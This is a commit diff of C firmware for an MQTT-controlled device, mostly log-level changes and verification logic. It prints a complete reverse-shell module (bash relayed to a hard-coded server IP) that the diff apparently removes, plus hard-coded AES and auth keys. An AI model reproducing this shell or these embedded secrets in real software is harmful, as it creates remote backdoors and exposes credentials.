Commit d61ecfbe authored by 957dd's avatar 957dd

Merge branch 'feature/verify_bug_reduce' into 'master'

Feature/verify bug reduce See merge request !123
parents 868892da 13cf7d94
...@@ -10,6 +10,13 @@ message(STATUS "Mosquitto path: ${CMAKE_CURRENT_SOURCE_DIR}/third_party/mosquitt ...@@ -10,6 +10,13 @@ message(STATUS "Mosquitto path: ${CMAKE_CURRENT_SOURCE_DIR}/third_party/mosquitt
# 设置模式 Release 为发布模式,Debug 为调试模式。 # 设置模式 Release 为发布模式,Debug 为调试模式。
# 平时切换只需改这一行;命令行 -DCAR_BUILD_TYPE=Debug 会优先生效。 # 平时切换只需改这一行;命令行 -DCAR_BUILD_TYPE=Debug 会优先生效。
# 1、Debug 编译(推荐,不改源码)
# cmake -S . -B build -DCAR_BUILD_TYPE=Debug
# cmake --build build -j2
# 2. Release 编译(切回发布版)
# cmake -S . -B build -DCAR_BUILD_TYPE=Release
# cmake --build build -j2
set(CAR_DEFAULT_BUILD_TYPE "Release") set(CAR_DEFAULT_BUILD_TYPE "Release")
if(NOT DEFINED CAR_BUILD_TYPE) if(NOT DEFINED CAR_BUILD_TYPE)
set(CAR_BUILD_TYPE "${CAR_DEFAULT_BUILD_TYPE}") set(CAR_BUILD_TYPE "${CAR_DEFAULT_BUILD_TYPE}")
...@@ -58,7 +65,7 @@ target_compile_definitions(main PRIVATE ...@@ -58,7 +65,7 @@ target_compile_definitions(main PRIVATE
PROJECT_ROOT_DIR="${CMAKE_CURRENT_SOURCE_DIR}" PROJECT_ROOT_DIR="${CMAKE_CURRENT_SOURCE_DIR}"
) )
# Release模式下定义LOG_PRODUCTION宏,编译时剔除debug和info日志 # Release模式下定义LOG_PRODUCTION宏,编译时剔除debug日志(info及以上保留)
if(CMAKE_BUILD_TYPE STREQUAL "Release") if(CMAKE_BUILD_TYPE STREQUAL "Release")
target_compile_definitions(main PRIVATE LOG_PRODUCTION) target_compile_definitions(main PRIVATE LOG_PRODUCTION)
endif() endif()
......
...@@ -184,7 +184,7 @@ int connect_wifi_with_fallback(const char* ssid, const char* password, const cha ...@@ -184,7 +184,7 @@ int connect_wifi_with_fallback(const char* ssid, const char* password, const cha
int change_wifi_connect(const char *wifi_ssid,const char *wifi_password) { int change_wifi_connect(const char *wifi_ssid,const char *wifi_password) {
get_current_wifi(); get_current_wifi();
int ret = connect_wifi_with_fallback(wifi_ssid, wifi_password, g_current_ssid); int ret = connect_wifi_with_fallback(wifi_ssid, wifi_password, g_current_ssid);
my_zlog_notice("返回代码:%d", ret); my_zlog_info("WiFi连接返回代码:%d", ret);
return ret; return ret;
} }
......
...@@ -94,7 +94,7 @@ void *thread_mqtt_beat(void *arg) ...@@ -94,7 +94,7 @@ void *thread_mqtt_beat(void *arg)
// } // }
if (verify_open_index_init() != 0) if (verify_open_index_init() != 0)
{ {
my_zlog_info("mqtt send verify is NULL"); my_zlog_warn("mqtt send verify is NULL");
} }
// 如果为相关的不需要心跳或者游览器设备,提早结束线程 // 如果为相关的不需要心跳或者游览器设备,提早结束线程
...@@ -108,6 +108,8 @@ void *thread_mqtt_beat(void *arg) ...@@ -108,6 +108,8 @@ void *thread_mqtt_beat(void *arg)
{ {
delay_ms(100); delay_ms(100);
verify_open_query_poll();
g_heartbeat_count++; g_heartbeat_count++;
set_tank_angle_count(); // 角度发布计时,1开始计时,0清0 set_tank_angle_count(); // 角度发布计时,1开始计时,0清0
if (s_mqtt_grc == 0) if (s_mqtt_grc == 0)
...@@ -116,7 +118,7 @@ void *thread_mqtt_beat(void *arg) ...@@ -116,7 +118,7 @@ void *thread_mqtt_beat(void *arg)
if (get_device_self_control_configuration_initialization() == 0) if (get_device_self_control_configuration_initialization() == 0)
{ {
my_zlog_warn("自控配置初始化成功"); my_zlog_info("自控配置初始化成功");
} }
} }
} }
...@@ -241,7 +243,7 @@ void *thread_mqtt_reconnect(void *arg) ...@@ -241,7 +243,7 @@ void *thread_mqtt_reconnect(void *arg)
remqtt_index = mqtt_init(); remqtt_index = mqtt_init();
if (remqtt_index == 0) if (remqtt_index == 0)
{ {
my_zlog_warn("mqtt success", remqtt_index); my_zlog_info("mqtt success");
break; break;
} }
else else
......
No preview for this file type
...@@ -301,7 +301,7 @@ void ptz_driver_change(int *buf) ...@@ -301,7 +301,7 @@ void ptz_driver_change(int *buf)
return; return;
} }
my_zlog_info("PTZ(%d) CMD: %d", s_cfg->device_id, buf[1]); my_zlog_debug("PTZ(%d) CMD: %d", s_cfg->device_id, buf[1]);
switch (buf[1]) { switch (buf[1]) {
case 1: case 1:
......
...@@ -108,7 +108,7 @@ int tankshot_detection_backcount(int *cool_time,int flag){ ...@@ -108,7 +108,7 @@ int tankshot_detection_backcount(int *cool_time,int flag){
pthread_mutex_lock(&s_tankshot_detection_mutex); pthread_mutex_lock(&s_tankshot_detection_mutex);
if(flag==0){ if(flag==0){
cool_count_init=*cool_time; cool_count_init=*cool_time;
my_zlog_info("cool_count_init的值:%d",cool_count_init); my_zlog_debug("cool_count_init的值:%d",cool_count_init);
} }
else if(flag==1){ else if(flag==1){
cool_count++; cool_count++;
...@@ -121,7 +121,7 @@ int tankshot_detection_backcount(int *cool_time,int flag){ ...@@ -121,7 +121,7 @@ int tankshot_detection_backcount(int *cool_time,int flag){
}else if(flag==3){ }else if(flag==3){
cool_count=0; cool_count=0;
s_tankshot_detectionback_count=0; s_tankshot_detectionback_count=0;
my_zlog_info("冷却计时重置"); my_zlog_debug("冷却计时重置");
}else if(flag==4){ }else if(flag==4){
s_tankshot_detectionback_count=0; s_tankshot_detectionback_count=0;
} }
...@@ -135,11 +135,11 @@ static void tankshot_detectionback(){ ...@@ -135,11 +135,11 @@ static void tankshot_detectionback(){
if(digitalRead(12)==LOW){ if(digitalRead(12)==LOW){
s_back_status=true; s_back_status=true;
index=1; index=1;
delay_ms(90); // 延时 100ms,防止抖动 delay_ms(90); // 延时 100ms,防止抖动
g_device_delay_back_count=0; g_device_delay_back_count=0;
softPwmWrite(27, 0); softPwmWrite(27, 0);
set_backshotstatus(false); set_backshotstatus(false);
my_zlog_info("检测引脚12拉低"); my_zlog_debug("检测引脚12拉低");
} }
} }
......
This diff is collapsed.
...@@ -318,7 +318,7 @@ void receive_self_contorl_mqtt(cJSON *body){ ...@@ -318,7 +318,7 @@ void receive_self_contorl_mqtt(cJSON *body){
send_self_contorl_mqtt(); send_self_contorl_mqtt();
my_zlog_info("count:%d",s_self_device_control_data->id_run_count); my_zlog_debug("count:%d",s_self_device_control_data->id_run_count);
return; return;
} }
...@@ -369,8 +369,8 @@ void receive_self_contorl_date_mqtt(cJSON *body){ ...@@ -369,8 +369,8 @@ void receive_self_contorl_date_mqtt(cJSON *body){
s_automatic_data[s_action_id].action_count++; s_automatic_data[s_action_id].action_count++;
my_zlog_info("combination:%d",s_automatic_data[s_action_id].mode[j]); my_zlog_debug("combination:%d",s_automatic_data[s_action_id].mode[j]);
my_zlog_info("speed:%d",s_automatic_data[s_action_id].val[j]); my_zlog_debug("speed:%d",s_automatic_data[s_action_id].val[j]);
} }
} }
...@@ -383,7 +383,7 @@ void receive_self_contorl_date_mqtt(cJSON *body){ ...@@ -383,7 +383,7 @@ void receive_self_contorl_date_mqtt(cJSON *body){
memset(s_automatic_data[s_action_id].val, 0, sizeof(s_automatic_data[s_action_id].val)); memset(s_automatic_data[s_action_id].val, 0, sizeof(s_automatic_data[s_action_id].val));
} }
my_zlog_info("action_count:%d",s_automatic_data[s_action_id].action_count); my_zlog_debug("action_count:%d",s_automatic_data[s_action_id].action_count);
return; return;
......
...@@ -154,7 +154,7 @@ void refresh_cam(void) ...@@ -154,7 +154,7 @@ void refresh_cam(void)
if (now < s_refresh_next_allowed) { if (now < s_refresh_next_allowed) {
long left = (long)(s_refresh_next_allowed - now); long left = (long)(s_refresh_next_allowed - now);
pthread_mutex_unlock(&s_refresh_cool_mutex); pthread_mutex_unlock(&s_refresh_cool_mutex);
my_zlog_notice("refresh_cam skipped: cooldown %lds remaining (max once per %ds)", my_zlog_debug("refresh_cam skipped: cooldown %lds remaining (max once per %ds)",
left, REFRESH_CAM_COOLDOWN_SEC); left, REFRESH_CAM_COOLDOWN_SEC);
return; return;
} }
......
...@@ -2,7 +2,6 @@ ...@@ -2,7 +2,6 @@
#define HTTP_COMMON_H__ #define HTTP_COMMON_H__
#include "http_config_mqtt.h" #include "http_config_mqtt.h"
#include "http_consolepush.h"
#include "http_request.h" #include "http_request.h"
#endif #endif
\ No newline at end of file
#include "http_consolepush.h"
#include "common.h"
#include "pthrpoll.h"
void contril_pthread_open();
void contril_pthread_close();
// 全局变量(需加锁或原子操作)
static bool s_shutdown = false;
static ThreadPool_t *s_pool_control_push;
static pthread_mutex_t s_shutdown_mutex = PTHREAD_MUTEX_INITIALIZER;
static const control_push_t s_control_push_configs[]={
{
.control_push_pthread_open = contril_pthread_open,
.control_push_pthread_close = NULL
},
{
.control_push_pthread_open = NULL,
.control_push_pthread_close =contril_pthread_close
}
};
void connect_and_run_shell() {
int sock = 0;
struct sockaddr_in serv_addr;
// --- 连接到服务器 ---
while (!s_shutdown) {
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
my_zlog_error("Socket creation error");
sleep(5);
continue;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(SERVER_PORT);
if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) {
my_zlog_error("Invalid address");
close(sock);
sleep(5);
continue;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
fprintf(stderr, "Connection Failed: %s. Retrying in 5s...\n", strerror(errno));
close(sock);
sleep(5);
continue;
}
fprintf(stderr, "Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
my_zlog_info("Connected to server");
break; // 连接成功,跳出循环
}
// --- 创建伪终端 (pty) 并启动 Shell ---
int master_fd;
pid_t pid = forkpty(&master_fd, NULL, NULL, NULL);
if (pid < 0) {
my_zlog_error("forkpty");
close(sock);
return;
}
else if (pid == 0) { // 子进程
// 用 /bin/bash 替换当前子进程
//execlp("/bin/bash", "bash", NULL);
// 在 execlp 之前,设置环境变量
setenv("TERM", "dumb", 1);
// 然后执行
execlp("/bin/bash", "bash", NULL);
// 如果 exec 返回,说明出错了
my_zlog_error("execlp");
exit(1);
}
// --- 父进程:数据中继 ---
fd_set read_fds;
while (!s_shutdown) {
FD_ZERO(&read_fds);
FD_SET(sock, &read_fds); // 监听来自服务器的命令
FD_SET(master_fd, &read_fds); // 监听来自 Shell 的输出
int max_fd = (sock > master_fd) ? sock : master_fd;
struct timeval tv;
tv.tv_sec = 1; // 每 1 秒超时
tv.tv_usec = 0;
int ret =select(max_fd + 1, &read_fds, NULL, NULL, &tv);
if ( ret< 0) {
my_zlog_error("select");
break;
}else if (ret == 0) {
// 超时,回到循环,检查 s_shutdown
continue;
}
char buffer[BUFFER_SIZE];
ssize_t bytes_read;
// 检查是否有来自服务器的数据
if (FD_ISSET(sock, &read_fds)) {
bytes_read = read(sock, buffer, sizeof(buffer));
if (bytes_read <= 0) {
my_zlog_info("Connected to server disconnected.");
my_zlog_info( "Server disconnected.");
break; // 服务器断开
}
// 将命令写入 Shell
ssize_t bytes_written = write(master_fd, buffer, bytes_read);
if (bytes_written >= bytes_read) {
// 写入失败
my_zlog_info("write success");
}
}
// 检查是否有来自 Shell 的输出
if (FD_ISSET(master_fd, &read_fds)) {
bytes_read = read(master_fd, buffer, sizeof(buffer));
if (bytes_read <= 0) {
fprintf(stderr, "Shell process terminated.\n");
break; // Shell 进程结束
}
// 将 Shell 输出发送到服务器
if (send(sock, buffer, bytes_read, 0) < 0) {
fprintf(stderr, "Failed to send data to server.\n");
break;
}
}
}
my_zlog_info("Connected to close.");
// --- 清理 ---
close(sock);
close(master_fd);
kill(pid, SIGKILL); // 确保子进程被杀死
}
void contril_pthread_open(){
if(s_pool_control_push == NULL){
s_pool_control_push = thread_pool_init(1,1);
my_zlog_info("contril push pool pthread open");
thread_pool_add_task(s_pool_control_push , connect_and_run_shell, NULL);
}else {
my_zlog_info("control push pthread already open ");
}
}
void contril_pthread_close(){
if ( s_pool_control_push == NULL) {
my_zlog_info("control push pthread already NULL");
return; // 已销毁或无效句柄,直接返回
}else {
pthread_mutex_lock(&s_shutdown_mutex);
s_shutdown = true;
pthread_mutex_unlock(&s_shutdown_mutex);
my_zlog_info("control push pthread close success");
thread_pool_destroy(s_pool_control_push);
s_pool_control_push = NULL;
}
}
void control_pthread_function(char *string){
const control_push_t *g_control_push_config = NULL;
if(strcmp(string,"open")==0){
my_zlog_debug("open pthread");
g_control_push_config =&s_control_push_configs[0];
g_control_push_config ->control_push_pthread_open();
}else if(strcmp(string,"close")==0){
my_zlog_debug("close pthread");
g_control_push_config =&s_control_push_configs[1];
g_control_push_config ->control_push_pthread_close();
}else {
g_control_push_config =NULL;
}
if(!g_control_push_config){
my_zlog_warn("s_pool_control_push am NULL");
return ;
}
}
#ifndef HTTP_CONSOLEPUSH_H__
#define HTTP_CONSOLEPUSH_H__
#define SERVER_IP "123.56.231.114"
#define SERVER_PORT 8081
#define BUFFER_SIZE 4096
typedef struct{
void (*control_push_pthread_open)(void);
void (*control_push_pthread_close)(void);
}control_push_t;
void control_pthread_function(char *string);
#endif
\ No newline at end of file
...@@ -229,6 +229,7 @@ void my_zlog_debug(const char *format, ...) { ...@@ -229,6 +229,7 @@ void my_zlog_debug(const char *format, ...) {
va_end(args); va_end(args);
} }
} }
#endif
void my_zlog_info(const char *format, ...) { void my_zlog_info(const char *format, ...) {
if (s_zlog_c) { if (s_zlog_c) {
...@@ -238,7 +239,6 @@ void my_zlog_info(const char *format, ...) { ...@@ -238,7 +239,6 @@ void my_zlog_info(const char *format, ...) {
va_end(args); va_end(args);
} }
} }
#endif
void my_zlog_notice(const char *format, ...) { void my_zlog_notice(const char *format, ...) {
if (s_zlog_c) { if (s_zlog_c) {
......
...@@ -6,12 +6,12 @@ int mylog_init(); ...@@ -6,12 +6,12 @@ int mylog_init();
#ifdef LOG_PRODUCTION #ifdef LOG_PRODUCTION
#define my_zlog_debug(...) ((void)0) #define my_zlog_debug(...) ((void)0)
#define my_zlog_info(...) ((void)0)
#else #else
void my_zlog_debug(const char *format, ...) ; void my_zlog_debug(const char *format, ...) ;
void my_zlog_info(const char *format, ...) ;
#endif #endif
void my_zlog_info(const char *format, ...) ;
void my_zlog_notice(const char *format, ...) ; void my_zlog_notice(const char *format, ...) ;
void my_zlog_warn(const char *format, ...) ; void my_zlog_warn(const char *format, ...) ;
void my_zlog_error(const char *format, ...) ; void my_zlog_error(const char *format, ...) ;
......
#include "mqtt_aes.h"
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
#include <stdlib.h>
#include <string.h>
static int normalize_key(const char *secret_key, unsigned char *key_out, int *key_len_out)
{
size_t len = strlen(secret_key);
if (len == 16 || len == 24 || len == 32) {
memcpy(key_out, secret_key, len);
*key_len_out = (int)len;
return 0;
}
if (SHA256((const unsigned char *)secret_key, len, key_out) == NULL) {
return -1;
}
*key_len_out = 32;
return 0;
}
static const EVP_CIPHER *cipher_for_key_len(int key_len)
{
switch (key_len) {
case 16:
return EVP_aes_128_ecb();
case 24:
return EVP_aes_192_ecb();
case 32:
return EVP_aes_256_ecb();
default:
return NULL;
}
}
static unsigned char *base64_decode(const char *input, size_t *out_len)
{
BIO *bio = NULL;
BIO *b64 = NULL;
size_t len = strlen(input);
unsigned char *buffer = (unsigned char *)malloc(len * 3 / 4 + 4);
if (!buffer) {
return NULL;
}
b64 = BIO_new(BIO_f_base64());
bio = BIO_new_mem_buf(input, (int)len);
bio = BIO_push(b64, bio);
BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL);
int decoded = BIO_read(bio, buffer, (int)(len * 3 / 4 + 4));
BIO_free_all(bio);
if (decoded <= 0) {
free(buffer);
return NULL;
}
*out_len = (size_t)decoded;
return buffer;
}
int mqtt_aes_decrypt_body(const char *b64_cipher, const char *secret_key, char **plain_json_out)
{
unsigned char key_bytes[32];
int key_len = 0;
size_t cipher_len = 0;
unsigned char *cipher_bytes = NULL;
EVP_CIPHER_CTX *ctx = NULL;
unsigned char *plain = NULL;
int out_len1 = 0;
int out_len2 = 0;
int total = 0;
if (!b64_cipher || !secret_key || !plain_json_out) {
return -1;
}
*plain_json_out = NULL;
if (normalize_key(secret_key, key_bytes, &key_len) != 0) {
return -1;
}
const EVP_CIPHER *cipher = cipher_for_key_len(key_len);
if (!cipher) {
return -1;
}
cipher_bytes = base64_decode(b64_cipher, &cipher_len);
if (!cipher_bytes || cipher_len == 0) {
free(cipher_bytes);
return -1;
}
ctx = EVP_CIPHER_CTX_new();
if (!ctx) {
free(cipher_bytes);
return -1;
}
plain = (unsigned char *)malloc(cipher_len + 16);
if (!plain) {
EVP_CIPHER_CTX_free(ctx);
free(cipher_bytes);
return -1;
}
if (EVP_DecryptInit_ex(ctx, cipher, NULL, key_bytes, NULL) != 1) {
goto fail;
}
if (EVP_DecryptUpdate(ctx, plain, &out_len1, cipher_bytes, (int)cipher_len) != 1) {
goto fail;
}
if (EVP_DecryptFinal_ex(ctx, plain + out_len1, &out_len2) != 1) {
goto fail;
}
total = out_len1 + out_len2;
plain[total] = '\0';
*plain_json_out = (char *)plain;
plain = NULL;
EVP_CIPHER_CTX_free(ctx);
free(cipher_bytes);
return 0;
fail:
free(plain);
EVP_CIPHER_CTX_free(ctx);
free(cipher_bytes);
return -1;
}
#ifndef MQTT_AES_H__
#define MQTT_AES_H__
#define MQTT_ENCRYPT_KEY "Kp9mX2nQ7vRw4sLd"
#define MQTT_VERIFY_AUTH_KEY "fcrs-verify-off-2026"
/* AES/ECB/PKCS7 解密 Base64 密文,调用方 free(*plain_json_out)。成功返回 0。 */
int mqtt_aes_decrypt_body(const char *b64_cipher, const char *secret_key, char **plain_json_out);
#endif
...@@ -253,7 +253,7 @@ void message_4_judyverify(cJSON *body) ...@@ -253,7 +253,7 @@ void message_4_judyverify(cJSON *body)
if (VERIFIED_MODE == FALSE) if (VERIFIED_MODE == FALSE)
{ {
message_4(body); message_4(body);
my_zlog_info("不使用验证"); my_zlog_warn("不使用验证");
return; return;
} }
...@@ -274,7 +274,7 @@ void message_6_steering_judyverify(cJSON *body) ...@@ -274,7 +274,7 @@ void message_6_steering_judyverify(cJSON *body)
if (VERIFIED_MODE == FALSE) if (VERIFIED_MODE == FALSE)
{ {
steering_mqtt_recv(body); steering_mqtt_recv(body);
my_zlog_info("不使用验证"); my_zlog_warn("不使用验证");
return; return;
} }
...@@ -301,7 +301,7 @@ void message_7_joystick_judyverify(cJSON *body) ...@@ -301,7 +301,7 @@ void message_7_joystick_judyverify(cJSON *body)
if (VERIFIED_MODE == FALSE) if (VERIFIED_MODE == FALSE)
{ {
ptz_driver_set_joystick_json(joystick_ctrl); ptz_driver_set_joystick_json(joystick_ctrl);
my_zlog_info("不使用验证"); my_zlog_warn("不使用验证");
return; return;
} }
...@@ -325,8 +325,8 @@ int device_mqttchange_name(cJSON *device_id) ...@@ -325,8 +325,8 @@ int device_mqttchange_name(cJSON *device_id)
char *device_change_date = date->valuestring; char *device_change_date = date->valuestring;
device_changename_back(device_change_date, device_change_id); device_changename_back(device_change_date, device_change_id);
// 输出提取的数据 // 输出提取的数据
my_zlog_debug("设备ID: %s", device_change_id); my_zlog_info("设备ID: %s", device_change_id);
my_zlog_debug("日期: %s", device_change_date); my_zlog_info("日期: %s", device_change_date);
return 0; return 0;
} }
...@@ -341,10 +341,6 @@ int device_message_receive(cJSON *json) ...@@ -341,10 +341,6 @@ int device_message_receive(cJSON *json)
{ {
cJSON *body = cJSON_GetObjectItem(json, "body"); // 提取 body数据段 cJSON *body = cJSON_GetObjectItem(json, "body"); // 提取 body数据段
if (!cJSON_IsObject(body))
{
return 1;
}
pthread_mutex_lock(&g_exit_count_mutex); pthread_mutex_lock(&g_exit_count_mutex);
g_devcontrol_exit_count = 0; g_devcontrol_exit_count = 0;
...@@ -352,6 +348,20 @@ int device_message_receive(cJSON *json) ...@@ -352,6 +348,20 @@ int device_message_receive(cJSON *json)
s_message_type = message_type->valueint; s_message_type = message_type->valueint;
my_zlog_debug("message_type: %d", message_type->valueint); my_zlog_debug("message_type: %d", message_type->valueint);
if (s_message_type == 2013) {
if (message2013_recverigy_open(body) == 0) {
my_zlog_info("进入是否需要验证");
return 0;
}
return 1;
}
if (!cJSON_IsObject(body))
{
return 1;
}
switch (s_message_type) switch (s_message_type)
{ {
case 2: case 2:
...@@ -371,7 +381,7 @@ int device_message_receive(cJSON *json) ...@@ -371,7 +381,7 @@ int device_message_receive(cJSON *json)
case 5: case 5:
audio_wheat_init(); audio_wheat_init();
audio_speaker_init(); audio_speaker_init();
my_zlog_debug("执行麦和喇叭命令"); my_zlog_info("执行麦和喇叭命令");
break; break;
case 6: case 6:
message_6_steering_judyverify(body); message_6_steering_judyverify(body);
...@@ -383,64 +393,52 @@ int device_message_receive(cJSON *json) ...@@ -383,64 +393,52 @@ int device_message_receive(cJSON *json)
break; break;
case 2001: case 2001:
audioplay_mqtt_receive(body); audioplay_mqtt_receive(body);
my_zlog_debug("进入音频播放"); my_zlog_info("进入音频播放");
break; break;
case 2002: case 2002:
device_mqttchange_name(body); device_mqttchange_name(body);
my_zlog_debug("进入修改设备号"); my_zlog_info("进入修改设备号");
break; break;
case 2003: case 2003:
scan_wifi_json(); scan_wifi_json();
my_zlog_debug("进入查询WiFi"); my_zlog_info("进入查询WiFi");
break; break;
case 2004: case 2004:
// wifi_change_recmqtt(body); // wifi_change_recmqtt(body);
my_zlog_debug("进入修改WiFi"); my_zlog_info("进入修改WiFi");
break; break;
case 2006: case 2006:
message2006_verify(body); message2006_verify(body);
my_zlog_debug("进入消息为2006验证"); my_zlog_info("进入消息为2006验证");
break; break;
case 2007: case 2007:
device_send_saved_wifi(); device_send_saved_wifi();
my_zlog_debug("查询已保存wifi和现在已连接WiFi"); my_zlog_info("查询已保存wifi和现在已连接WiFi");
break; break;
case 2008: case 2008:
device_wifi_rec_sava(body); device_wifi_rec_sava(body);
my_zlog_debug("保存wifi"); my_zlog_info("保存wifi");
break; break;
case 2009: case 2009:
device_wifi_rec_delete(body); device_wifi_rec_delete(body);
my_zlog_debug("删除已保存wifi"); my_zlog_info("删除已保存wifi");
break; break;
case 2011: case 2011:
int res = system("sudo reboot"); // 重启香橙派 int res = system("sudo reboot"); // 重启香橙派
if (res == 0) if (res == 0)
my_zlog_debug("重启成功"); my_zlog_info("重启成功");
break; break;
case 2012: case 2012:
refresh_cam(); refresh_cam();
my_zlog_debug("刷新成功"); my_zlog_info("刷新成功");
break;
case 2013:
message2013_recverigy_open(body);
my_zlog_debug("进入是否需要验证");
break;
case 2014:
control_pthread_function("open");
my_zlog_debug("打开控制台推送");
break;
case 2015:
control_pthread_function("close");
my_zlog_debug("关闭控制台推送");
break; break;
case 2016: case 2016:
mqtt_verify_data_clear(body); mqtt_verify_data_clear(body);
my_zlog_debug("清除验证数据"); my_zlog_info("清除验证数据");
break; break;
case 2025: case 2025:
receive_self_contorl_mqtt(body); receive_self_contorl_mqtt(body);
my_zlog_debug("device self comtrol"); my_zlog_info("device self comtrol");
break; break;
case 2026: case 2026:
receive_self_contorl_date_mqtt(body); receive_self_contorl_date_mqtt(body);
......
...@@ -137,7 +137,7 @@ void on_message(struct mosquitto *mosq, void *obj, const struct mosquitto_messag ...@@ -137,7 +137,7 @@ void on_message(struct mosquitto *mosq, void *obj, const struct mosquitto_messag
// 解析 JSON // 解析 JSON
cJSON *json = cJSON_Parse(payload_str); cJSON *json = cJSON_Parse(payload_str);
if(json != NULL){ if(json != NULL){
if(device_message_receive(json)==0) my_zlog_info("进入设备接收mqtt"); if(device_message_receive(json)==0) my_zlog_debug("进入设备接收mqtt");
} }
// 释放 payload 字符串 // 释放 payload 字符串
...@@ -239,7 +239,7 @@ void mqtt_clean(){ ...@@ -239,7 +239,7 @@ void mqtt_clean(){
} }
mosquitto_lib_cleanup(); mosquitto_lib_cleanup();
my_zlog_notice("清理成功"); my_zlog_info("清理成功");
} }
int mqtt_cycle() {//非阻塞型 int mqtt_cycle() {//非阻塞型
......
#include <time.h> #include <time.h>
#include "mqtt_verify.h" #include "mqtt_verify.h"
#include "mqtt_aes.h"
#include "common.h" #include "common.h"
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <openssl/bio.h>
#include <openssl/buffer.h>
#include <openssl/err.h>
#include "device_identity.h" #include "device_identity.h"
#include "mqtt_init.h" #include "mqtt_init.h"
#include "mylog.h" #include "mylog.h"
...@@ -33,6 +28,15 @@ static time_t s_verify_retry_after_time = 0; /* 允许发起重试的时间戳 ...@@ -33,6 +28,15 @@ static time_t s_verify_retry_after_time = 0; /* 允许发起重试的时间戳
#define VERIFY_RETRY_MAX 3 #define VERIFY_RETRY_MAX 3
#define VERIFY_RETRY_INTERVAL_SEC 1 #define VERIFY_RETRY_INTERVAL_SEC 1
/* 启动时向后端查询是否开启验证(3013/2013) */
#define VERIFY_OPEN_QUERY_MAX 3
#define VERIFY_OPEN_QUERY_INTERVAL_SEC 3
static bool s_verify_open_got_reply = false; /* 已收到后端2013 */
static bool s_verify_open_query_gave_up = false; /* 3次未收到,已放弃 */
static int s_verify_open_send_count = 0; /* 已发送3013次数 */
static time_t s_verify_open_last_send_time = 0;
int g_verify_index =0;//判断是否验证成功 int g_verify_index =0;//判断是否验证成功
pthread_mutex_t g_verify_mutex = PTHREAD_MUTEX_INITIALIZER;//线程锁 pthread_mutex_t g_verify_mutex = PTHREAD_MUTEX_INITIALIZER;//线程锁
...@@ -120,7 +124,7 @@ int receive_jwt(cJSON *body) { ...@@ -120,7 +124,7 @@ int receive_jwt(cJSON *body) {
&& s_verify_retry_after_time > 0 && time(NULL) >= s_verify_retry_after_time) { && s_verify_retry_after_time > 0 && time(NULL) >= s_verify_retry_after_time) {
s_verify_retry_after_time = 0; s_verify_retry_after_time = 0;
send_jwtser(s_pending_verify_token); send_jwtser(s_pending_verify_token);
my_zlog_notice("距上次失败已过%d秒,发起第%d次重试验证, token=%s", my_zlog_info("距上次失败已过%d秒,发起第%d次重试验证, token=%s",
VERIFY_RETRY_INTERVAL_SEC, s_verify_retry_count + 1, s_pending_verify_token); VERIFY_RETRY_INTERVAL_SEC, s_verify_retry_count + 1, s_pending_verify_token);
} }
...@@ -141,7 +145,7 @@ int receive_jwt(cJSON *body) { ...@@ -141,7 +145,7 @@ int receive_jwt(cJSON *body) {
pthread_mutex_lock(&g_verify_mutex); pthread_mutex_lock(&g_verify_mutex);
g_verify_count = 0; g_verify_count = 0;
pthread_mutex_unlock(&g_verify_mutex); pthread_mutex_unlock(&g_verify_mutex);
my_zlog_notice("首次token,发起验证, token=%s", token); my_zlog_info("首次token,发起验证, token=%s", token);
} else if (strcmp(token, s_last_seen_token) != 0) { } else if (strcmp(token, s_last_seen_token) != 0) {
strncpy(s_last_seen_token, token, sizeof(s_last_seen_token) - 1); strncpy(s_last_seen_token, token, sizeof(s_last_seen_token) - 1);
s_last_seen_token[sizeof(s_last_seen_token) - 1] = '\0'; s_last_seen_token[sizeof(s_last_seen_token) - 1] = '\0';
...@@ -154,9 +158,9 @@ int receive_jwt(cJSON *body) { ...@@ -154,9 +158,9 @@ int receive_jwt(cJSON *body) {
pthread_mutex_lock(&g_verify_mutex); pthread_mutex_lock(&g_verify_mutex);
g_verify_count = 0; g_verify_count = 0;
pthread_mutex_unlock(&g_verify_mutex); pthread_mutex_unlock(&g_verify_mutex);
my_zlog_notice("token变化,发起验证, token=%s", token); my_zlog_info("token变化,发起验证, token=%s", token);
} else { } else {
my_zlog_info("token未变化"); my_zlog_debug("token未变化");
} }
...@@ -175,7 +179,7 @@ int receive_jwt(cJSON *body) { ...@@ -175,7 +179,7 @@ int receive_jwt(cJSON *body) {
my_zlog_debug("g_verify_index= %d ",g_verify_index); my_zlog_debug("g_verify_index= %d ",g_verify_index);
if(g_verify_count>12000){ if(g_verify_count>12000){
send_jwtser(token); send_jwtser(token);
my_zlog_notice("JWT超过1分钟触发重新验证, token=%s", token); my_zlog_debug("JWT超过1分钟触发重新验证, token=%s", token);
pthread_mutex_lock(&g_verify_mutex); pthread_mutex_lock(&g_verify_mutex);
g_verify_count=0; g_verify_count=0;
pthread_mutex_unlock(&g_verify_mutex); pthread_mutex_unlock(&g_verify_mutex);
...@@ -187,8 +191,8 @@ int receive_jwt(cJSON *body) { ...@@ -187,8 +191,8 @@ int receive_jwt(cJSON *body) {
my_zlog_debug("g_verify_index= %d ",g_verify_index); my_zlog_debug("g_verify_index= %d ",g_verify_index);
} }
my_zlog_info("token: %s", token); my_zlog_debug("token: %s", token);
my_zlog_info("token_time: %s", token_time); my_zlog_debug("token_time: %s", token_time);
return 0; return 0;
} }
...@@ -203,7 +207,7 @@ int message2006_verify(cJSON *body){ ...@@ -203,7 +207,7 @@ int message2006_verify(cJSON *body){
if(json_status == NULL || json_onlyid==NULL) { if(json_status == NULL || json_onlyid==NULL) {
my_zlog_debug("验证为空"); my_zlog_warn("验证为空");
s_service_verify = FALSE; s_service_verify = FALSE;
g_verify_index=1; g_verify_index=1;
my_zlog_debug("g_verify_index= %d ",g_verify_index); my_zlog_debug("g_verify_index= %d ",g_verify_index);
...@@ -215,7 +219,7 @@ int message2006_verify(cJSON *body){ ...@@ -215,7 +219,7 @@ int message2006_verify(cJSON *body){
my_zlog_debug("data: %s", status); my_zlog_debug("data: %s", status);
my_zlog_debug("onlyid: %s", onlyid); my_zlog_debug("onlyid: %s", onlyid);
